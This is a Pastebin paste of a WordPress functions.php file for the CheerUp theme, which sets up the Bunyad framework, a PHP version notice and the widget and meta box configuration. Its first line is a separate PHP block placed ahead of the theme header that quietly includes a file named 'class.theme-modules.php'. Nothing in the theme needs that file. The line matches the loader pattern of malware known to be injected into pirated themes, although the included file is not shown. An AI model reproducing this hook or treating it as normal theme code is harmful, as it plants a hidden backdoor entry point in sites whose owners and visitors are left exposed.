Advertisement
Guest User

Untitled

a guest
Jan 23rd, 2020
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.85 KB | None | 0 0
  1. <?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?>
  2. <?php
  3. /**
  4. * CheerUp Theme!
  5. *
  6. * This is the typical theme initialization file. Sets up the Bunyad Framework
  7. * and the theme functionality.
  8. *
  9. * ----
  10. *
  11. * Code Locations:
  12. *
  13. * / - WordPress default template files.
  14. * lib/ - Contains the Bunyad Framework files.
  15. * inc/ - Theme related functionality and some HTML helpers.
  16. * admin/ - Admin-only content.
  17. * partials/ - Template parts (partials) called via get_template_part().
  18. *
  19. * Note: If you're looking to edit HTML, look for default WordPress templates in
  20. * top-level / and in partials/ folder.
  21. *
  22. * Main Theme file: inc/theme.php
  23. */
  24.  
  25. // Already initialized?
  26. if (class_exists('Bunyad_Core')) {
  27. return;
  28. }
  29.  
  30. // Require PHP 5.3.2+
  31. if (version_compare(phpversion(), '5.3.2', '<')) {
  32.  
  33. function cheerup_php_notice() {
  34. $message = sprintf(esc_html_x('CheerUp requires %1$sPHP 5.3.2+%2$s. Please ask your webhost to upgrade to at least PHP 5.3.2. Recommended: %1$sPHP 7+%2$s%3$s', 'Admin', 'cheerup'), '<strong>', '</strong>', '<br>');
  35. printf('<div class="notice notice-error"><h3>Important:</h3><p>%1$s</p></div>', wp_kses_post($message));
  36. }
  37.  
  38. add_action('admin_notices', 'cheerup_php_notice');
  39. return;
  40. }
  41.  
  42. // Initialize Framework
  43. require_once get_theme_file_path('lib/bunyad.php');
  44. require_once get_theme_file_path('inc/bunyad.php');
  45.  
  46. /**
  47. * Main Theme File: Contains most theme-related functionality
  48. *
  49. * See file: inc/theme.php
  50. */
  51. require_once get_theme_file_path('inc/theme.php');
  52.  
  53. // Fire up the theme - make available in Bunyad::get('theme')
  54. Bunyad::register('theme', array(
  55. 'class' => 'Bunyad_Theme_Cheerup',
  56. 'init' => true
  57. ));
  58.  
  59. // Legacy compat: Alias
  60. Bunyad::register('cheerup', array('object' => Bunyad::get('theme')));
  61.  
  62. /**
  63. * Main Framework Configuration
  64. */
  65. $bunyad_core = Bunyad::core()->init(apply_filters('bunyad_init_config', array(
  66.  
  67. 'theme_name' => 'cheerup',
  68. 'meta_prefix' => '_bunyad', // Keep meta framework prefix for data interoperability
  69. 'theme_version' => '6.0.3',
  70.  
  71. // widgets enabled
  72. 'widgets' => array('about', 'posts', 'cta', 'ads', 'social', 'subscribe', 'social-follow', 'twitter', 'slider'),
  73. 'widgets_type' => 'embed',
  74. 'post_formats' => array('gallery', 'image', 'video', 'audio'),
  75. 'customizer' => true,
  76.  
  77. // Enabled metaboxes and prefs - id is prefixed with _bunyad_ in init() method of lib/admin/meta-boxes.php
  78. 'meta_boxes' => array(
  79. array('id' => 'post-options', 'title' => esc_html_x('Post Options', 'Admin: Meta', 'cheerup'), 'priority' => 'high', 'page' => array('post')),
  80. array('id' => 'page-options', 'title' => esc_html_x('Page Options', 'Admin: Meta', 'cheerup'), 'priority' => 'high', 'page' => array('page')),
  81. )
  82. )));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement